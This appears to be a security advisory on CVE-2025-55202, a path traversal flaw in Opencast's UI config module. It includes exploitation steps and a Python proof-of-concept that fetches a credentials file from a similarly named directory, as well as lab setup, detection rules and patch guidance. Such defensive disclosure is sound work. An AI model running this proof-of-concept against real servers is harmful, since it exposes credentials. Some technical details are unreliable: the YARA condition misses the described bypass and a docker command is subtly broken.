CVE-2025-55202

Executive Summary

CVE-2025-55202 is a path traversal vulnerability in Opencast, an open-source platform for managing educational audio and video content. The vulnerability affects versions 18.0 and all versions prior to 17.7. The core issue lies in insufficient path traversal protections within the UI config module, where the path validation logic fails to account for file separators. This allows an attacker to access files in directories that share a common prefix with the intended ui-config folder, potentially exposing sensitive configuration files or other data. The CVSS score is 0.0 due to incomplete scoring data, but the vulnerability is rated as medium severity based on the attack vector and impact. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity. The patch is available in versions 17.7 and 18.1.

Supply Chain & Package Security

Opencast is distributed as a Java-based application, typically deployed via tarballs or Docker images. The vulnerability is in the core application code, not in a third-party package. However, organizations using Opencast should verify their deployment source and ensure they are using official releases from the Opencast project. No malicious packages or compromised dependencies have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are in the same security authority.
• Confidentiality (C): Low (L) – Limited file read access is possible.
• Integrity (I): None (N) – No data modification is possible.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. The vulnerability allows limited file disclosure but does not enable code execution or data modification. The lack of public exploits and low EPSS score reduce immediate risk, but the potential for information leakage (e.g., configuration files containing credentials) warrants prompt patching.

Deep Dive & Mechanics

The vulnerability resides in the UI config module of Opencast, which serves static configuration files from a designated ui-config directory. The module implements a path traversal check to prevent access to files outside this directory. However, the check is flawed: it only verifies that the requested path starts with the ui-config directory path without normalizing the path or checking for directory separators.

For example, if the ui-config directory is located at /opt/opencast/etc/ui-config, the check might verify that the requested path starts with /opt/opencast/etc/ui-config. An attacker could request a path like /opt/opencast/etc/ui-config_backup/sensitive.xml. Since this path starts with the same string as the ui-config directory, the check passes, but the actual directory accessed is ui-config_backup, not ui-config. This allows the attacker to read files from directories that share a common prefix with the legitimate ui-config directory.

The root cause is the lack of path canonicalization and separator-aware comparison. A secure implementation would normalize the path (e.g., using java.nio.file.Paths or File.getCanonicalPath()) and then verify that the resolved path is exactly within the intended directory, not just a prefix match.

Vulnerable vs. Patched Code

Vulnerable Code (Simplified Java Example):

public String readConfigFile(String fileName) {
    String basePath = "/opt/opencast/etc/ui-config";
    String requestedPath = basePath + "/" + fileName;
    // Flawed check: only checks if path starts with basePath
    if (requestedPath.startsWith(basePath)) {
        return readFile(requestedPath);
    }
    throw new SecurityException("Access denied");
}

Patched Code (Simplified Java Example):

import java.nio.file.Paths;
import java.nio.file.Path;

public String readConfigFile(String fileName) {
    Path basePath = Paths.get("/opt/opencast/etc/ui-config").normalize();
    Path requestedPath = basePath.resolve(fileName).normalize();
    // Proper check: ensure the resolved path is within the base directory
    if (requestedPath.startsWith(basePath)) {
        return readFile(requestedPath.toString());
    }
    throw new SecurityException("Access denied");
}

The patched version uses Path.normalize() to resolve any .. or . components and then checks that the resulting path starts with the base path. This prevents both directory traversal (e.g., ../../etc/passwd) and the prefix-matching bypass (e.g., ui-config_backup/).

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Opencast instance (version 18.0 or < 17.7) accessible over the network.
• Knowledge of the ui-config directory path (default: /opt/opencast/etc/ui-config).

Exploitation Steps:

1. Identify the UI config endpoint. Typically, it is accessible via a URL like:

   http://target.opencast.edu/ui-config/config.xml
   

2. Attempt to read a file from a directory with a similar name. For example, if there is a directory named ui-config_backup containing db_credentials.xml:

   http://target.opencast.edu/ui-config_backup/db_credentials.xml
   

3. If the server returns the file content, the vulnerability is confirmed.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target.opencast.edu"
# Attempt to read a file from a directory with a similar prefix
payload = "/ui-config_backup/db_credentials.xml"
url = target + payload
response = requests.get(url)
if response.status_code == 200:
    print("Vulnerable! File content:")
    print(response.text)
else:
    print("Not vulnerable or file not found.")

Blue Team

Detection and Prevention:

1. Immediate Patching: Upgrade to Opencast 17.7 or 18.1.
2. Web Application Firewall (WAF) Rules: Block requests containing path traversal patterns, especially those with directory names similar to ui-config.
3. File Integrity Monitoring: Monitor access to sensitive files outside the ui-config directory.
4. Log Analysis: Look for HTTP 200 responses to requests for files in unexpected directories.

Lab Setup for Testing:

• Deploy a vulnerable Opencast instance using Docker:

  docker run -d -p 8080:8080 opencast/opencast:18.0
  

• Create a test directory with a similar name:

  docker exec -it <container_id> mkdir /opt/opencast/etc/ui-config_backup
  docker exec -it <container_id> echo "sensitive_data" > /opt/opencast/etc/ui-config_backup/test.txt
  

• Test the exploit by accessing:

  http://localhost:8080/ui-config_backup/test.txt
  

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to paths containing ui-config followed by unexpected characters (e.g., ui-config_backup, ui-config_old).
  • Requests for files with extensions like .xml, .properties, .conf from non-standard paths.
• File System IOCs:
  • Unauthorized access to files in directories that share a prefix with ui-config.
  • Presence of files like db_credentials.xml or application.properties in unexpected locations.
• Log IOCs:
  • Web server logs showing 200 responses to requests for paths like /ui-config_backup/....
  • Application logs showing SecurityException or Access denied errors (if patched).

Detection Engineering

YARA Rule

rule CVE_2025_55202_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Opencast UI config module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55202"
    strings:
        $path1 = "/ui-config" nocase
        $path2 = "/ui-config_" nocase
        $path3 = "/ui-config-" nocase
        $path4 = "/ui-config." nocase
        $path5 = ".." nocase
    condition:
        any of ($path*) and $path5
}

Sigma Rule

title: CVE-2025-55202 Opencast Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit path traversal in Opencast UI config module
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/ui-config_'
            - '/ui-config-'
            - '/ui-config.'
            - '/ui-config%'
    condition: selection
falsepositives:
    - Legitimate use of directories with similar names (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55202 Opencast Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/ui-config"; http_uri; content:"/ui-config_"; distance:0; within:100; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Opencast to version 17.7 or 18.1.
2. If immediate upgrade is not possible, apply the following workaround:
   • Restrict access to the UI config endpoint using a reverse proxy (e.g., Nginx) with a whitelist of allowed paths.
   • Example Nginx rule:

     location /ui-config {
         alias /opt/opencast/etc/ui-config;
         # Only allow access to files directly in this directory
         try_files $uri =404;
     }
     

3. Monitor logs for suspicious path traversal attempts.

Long-Term Mitigations:

• Implement input validation and path canonicalization in all file-serving endpoints.
• Conduct regular security audits of open-source dependencies.
• Use a Web Application Firewall (WAF) with rules to block path traversal patterns.

Patch Details:

• The fix is included in Opencast versions 17.7 and 18.1.
• The patch involves replacing the string-based path check with a proper path normalization and containment check using java.nio.file.Path.

Valters IT
Securing Digital Frontiers